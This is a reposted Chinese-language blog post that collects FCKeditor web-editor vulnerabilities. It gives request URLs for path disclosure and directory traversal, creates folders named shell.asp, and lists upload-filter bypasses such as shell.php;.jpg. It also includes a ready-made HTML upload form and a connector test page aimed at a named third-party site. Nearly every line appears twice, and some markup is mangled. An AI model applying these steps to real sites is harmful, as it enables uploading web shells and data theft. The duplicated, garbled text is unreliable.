[轉貼]Fckeditor 漏洞整理－頭昏腦脹的小小MIS記錄資料

越來越多的人在進行網頁編輯時會使用的套件，但是這個套件有很多問題會導致被上傳木馬，進而導致資料庫或其他資料的外洩。

但是為了便利性，甚至連檢查的步驟都跳過了，轉貼該文件只是紀錄遇過的資料以避免下次再犯錯以及方便說明使用。

該文章由大陸轉貼過來的請自行簡轉繁吧

蒐集於網絡、以及個人經驗

--------------------------------------------------------------------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -----------

1、查看編輯器版本
/fckeditor/editor/dialog/fck_about.html /fckeditor/editor/dialog/fck_about.html

2、爆絕對路徑
FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通殺) FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通殺)
/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破 /FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

3、遍歷目錄
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../ /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

Version 2.4.1 測試通過修改CurrentFolder 參數使用../../來進入不同的目錄 Version 2.4.1 測試通過修改CurrentFolder 參數使用../../來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根據返回的XML 信息可以查看網站所有的目錄。根據返回的XML 信息可以查看網站所有的目錄。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接瀏覽盤符：也可以直接瀏覽盤符：
JSP 版本： JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

4、jsp上傳
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector /FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp /FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

5、Version < =2.4.2 For php 在處理PHP 上傳的地方並未對Media 類型進行上傳文件類型的控制，導致用戶上傳任意文件！將以下保存為html文件，修改action地址。將以下保存為html文件，修改action地址。

<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form> <form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method=" post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"> </form>

6、 FCKeditor 文件上傳「.」變「_」下劃線的繞過方法很多時候上傳的文件例如：shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。
6.1：提交shell.php+空格繞過不過空格只支持win 系統*nix 是不支持的[shell.php 和shell.php+空格是2 個不同的文件未測試。
6.2：繼續上傳同名文件可變為shell.php;(1).jpg 也可以新建一個文件夾，只檢測了第一級的目錄，如果跳到二級目錄就不受限制。

7、突破建立文件夾
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684 FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

8、 FCKeditor 中test 文件的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html FCKeditor/editor/filemanager/connectors/uploadtest.html

9、最古老的漏洞，Type文件沒有限制！
我接觸到的第一個fckeditor漏洞了。我接觸到的第一個fckeditor漏洞了。版本不詳，應該很古老了，因為程序對type=xxx 的類型沒有檢查。版本不詳，應該很古老了，因為程序對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的文件夾，一個新類型，沒有任何限制，可以上傳任意腳本！我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的文件夾，一個新類型，沒有任何限制，可以上傳任意腳本！

10、browser
fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

11、本地構造test文件

 -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns=" http://www.w3.org/1999/xhtml "> <html xmlns=" http://www.w3.org/1999/xhtml ">
<head> <head>
<title>FCKeditor - Connectors Tests</title> <title>FCKeditor - Connectors Tests</title>
<script type="text/javascript"> <script type="text/javascript">

function BuildBaseUrl( command ) function BuildBaseUrl( command )
{ {
var sUrl = var sUrl =
document.getElementById('cmbConnector').value + document.getElementById('cmbConnector').value +
'?Command=' + command + '?Command=' + command +
'&Type=' + document.getElementById('cmbType').value + '&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ; '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ; return sUrl ;
} }

function SetFrameUrl( url ) function SetFrameUrl( url )
{ {
document.getElementById('eRunningFrame').src = url ; document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ; document.getElementById('eUrl').innerHTML = url ;
} }

function GetFolders() function GetFolders()
{ {
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ; SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ; return false ;
} }

function GetFoldersAndFiles() function GetFoldersAndFiles()
{ {
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ; SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ; return false ;
} }

function CreateFolder() function CreateFolder()
{ {
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ; var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder ) if ( ! sFolder )
return false ; return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ; var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ; sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ; SetFrameUrl( sUrl ) ;
return false ; return false ;
} }

function OnUploadCompleted( errorNumber, fileName ) function OnUploadCompleted( errorNumber, fileName )
{ {
switch ( errorNumber ) switch ( errorNumber )
{ {
case 0 : case 0 :
alert( 'File uploaded with no errors' ) ; alert( 'File uploaded with no errors' ) ;
break ; break ;
case 201 : case 201 :
GetFoldersAndFiles() ; GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ; break ;
case 202 : case 202 :
alert( 'Invalid file' ) ; alert( 'Invalid file' ) ;
break ; break ;
default : default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ; alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ; break ;
} }
} }

this.frames.frmUpload = this ; this.frames.frmUpload = this ;

function SetAction() function SetAction()
{ {
var sUrl = BuildBaseUrl( 'FileUpload' ) ; var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ; document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ; document.getElementById('frmUpload').action = sUrl ;
} }

</script> </script>
</head> </head>
<body> <body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"> <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr> <tr>
<td> <td>
<table cellspacing="0" cellpadding="0" border="0"> <table cellspacing="0" cellpadding="0" border="0">
<tr> <tr>
<td> <td>
Connector:<br /> Connector:<br />
<select id="cmbConnector" name="cmbConnector"> <select id="cmbConnector" name="cmbConnector">
<option value=" http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp " selected="selected">ASP</option> <option value=" http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp " selected="selected">ASP</option>
<option value=" ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option > <option value=" ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option >
<option value="cfm/connector.cfm">ColdFusion</option> <option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option> <option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option> <option value="perl/connector.cgi">Perl</option>
<option value=" PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option > <option value=" PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option >
<option value="py/connector.py">Python</option> <option value="py/connector.py">Python</option>
</select> </select>
</td> </td>
<td> <td>
</td> </td>
<td> <td>
Current Folder<br /> Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td> <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td> <td>
</td> </td>
<td> <td>
Resource Type<br /> Resource Type<br />
<select id="cmbType" name="cmbType"> <select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option> <option value="File" selected="selected">File</option>
<option value="Image">Image</option> <option value="Image">Image</option>
<option value="Flash">Flash</option> <option value="Flash">Flash</option>
<option value="Media">Media</option> <option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option> <option value="Invalid">Invalid Type (for testing)</option>
</select> </select>
</td> </td>
</tr> </tr>
</table> </table>
<br /> <br />
<table cellspacing="0" cellpadding="0" border="0"> <table cellspacing="0" cellpadding="0" border="0">
<tr> <tr>
<td valign="top"> <td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td> <a href="#" onclick="GetFolders();">Get Folders</a></td>
<td> <td>
</td> </td>
<td valign="top"> <td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td> <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td> <td>
</td> </td>
<td valign="top"> <td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td> <a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td> <td>
</td> </td>
<td valign="top"> <td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data"> <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br /> File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" /> <input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" /> <input type="submit" value="Upload" onclick="SetAction();" />
</form> </form>
</td> </td>
</tr> </tr>
</table> </table>
<br /> <br />
URL: <span id="eUrl"></span> URL: <span id="eUrl"></span>
</td> </td>
</tr> </tr>
<tr> <tr>
<td height="100%" valign="top"> <td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%" <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe> height="100%"></iframe>
</td> </td>
</tr> </tr>
</table> </table>
</body> </body>
</html> </html>